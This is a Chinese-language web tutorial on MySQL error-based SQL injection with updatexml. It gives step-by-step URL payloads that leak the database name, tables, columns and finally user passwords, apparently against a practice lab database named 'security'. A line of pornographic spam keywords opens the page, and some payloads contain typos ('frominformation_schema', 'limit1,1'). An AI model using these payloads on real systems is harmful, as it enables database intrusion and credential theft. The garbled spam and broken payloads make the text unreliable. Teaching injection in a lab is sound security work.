欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

SQL報錯注入之updatexml的實現(xiàn)

 更新時間:2024年10月30日 09:10:54   作者:半?糖?  
updatexml函數(shù)通過輸入不符合XPATH格式的數(shù)據(jù)來觸發(fā)報錯,并利用這一點進行SQL注入,通過分析報錯信息,可以判斷是否存在注入點,并逐步爆出數(shù)據(jù)庫名、表名、字段名以及敏感數(shù)據(jù),感興趣的可以了解一下

1.updatexml報錯原理

updatexml(xml_doument,XPath_string,new_value)
第一個參數(shù):XML的內(nèi)容
第二個參數(shù):是需要update的位置XPATH路徑
第三個參數(shù):是更新后的內(nèi)容
所以第一和第三個參數(shù)可以隨便寫,只需要利用第二個參數(shù),他會校驗你輸入的內(nèi)容是否符合XPATH格式,當我們輸入一個不符合xpath語法的語句就報錯了,我們注入利用的就是這一點。

2.判斷是否有注入點

我們在地址欄中輸入?id=1'

我們在地址欄中輸入?id=1'--+

根據(jù)結(jié)果可以判斷出存在數(shù)字型注入,并且頁面會打印出報錯信息,所以我們可以利用報錯注入來解決

3.updatexml報錯注入

3.1爆庫名

?id=1 and updatexml(1,concat(0x7e,database(),0x7e),0)

0x7e表示~符號,所以數(shù)據(jù)庫名為security

3.2爆表名

mysql 中的 information_schema 這個庫 就像時MYSQL的信息數(shù)據(jù)庫,他保存著mysql 服務器所維護的所有其他的數(shù)據(jù)庫信息, 包括了 庫名,表名,列名。

在注入時,information_schema庫的作用就是獲取 table_schema table_name, column_name .

這些數(shù)據(jù)庫內(nèi)的信息。如果information_schema庫被過濾掉,還可以嘗試使用下述庫來代替

sys.schema_auto_increment_columns 

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index 

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)

根據(jù)結(jié)果可知當前security庫下有四張表,并且users表最有可能存放用戶信息

3.3爆字段名

我們通過sql語句查詢知道當前數(shù)據(jù)庫有四個表,根據(jù)表名知道可能用戶的賬戶和密碼是在users表中。接下來我們就是得到該表下的字段名以及內(nèi)容。

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)

根據(jù)結(jié)果可以判斷出字段名不全,這是因為updataxml函數(shù)只顯示32位,所以我們可以用substr函數(shù)來慢慢截取來獲得所有的字段名 

?id=1 and updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,32) frominformation_schema.columns where table_name='users'),0x7e),1)

這樣我們最終會得到所有的字段名

如果我們給select語句多加一個where條件會變成什么樣呢?

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

此次查詢直接就爆出users表的列名,可以得到兩個敏感字段就是username和password,最有可能存放用戶的賬號密碼

3.4爆數(shù)據(jù)

?id=1 and updatexml(1,concat(0x7e,(select password from users limit1,1),0x7e),1)

通過limit函數(shù)可以爆出各個用戶的密碼

當然也可以通過剛剛所述的substr函數(shù)來截取密碼

?id=1 and updatexml(1,concat(0x7e,(select substr(group_concat(username,id,password),1,20) from users),0x7e),1)

此次updatexml報錯注入就結(jié)束啦!

到此這篇關(guān)于SQL報錯注入之updatexml的實現(xiàn)的文章就介紹到這了,更多相關(guān)SQL updatexml內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論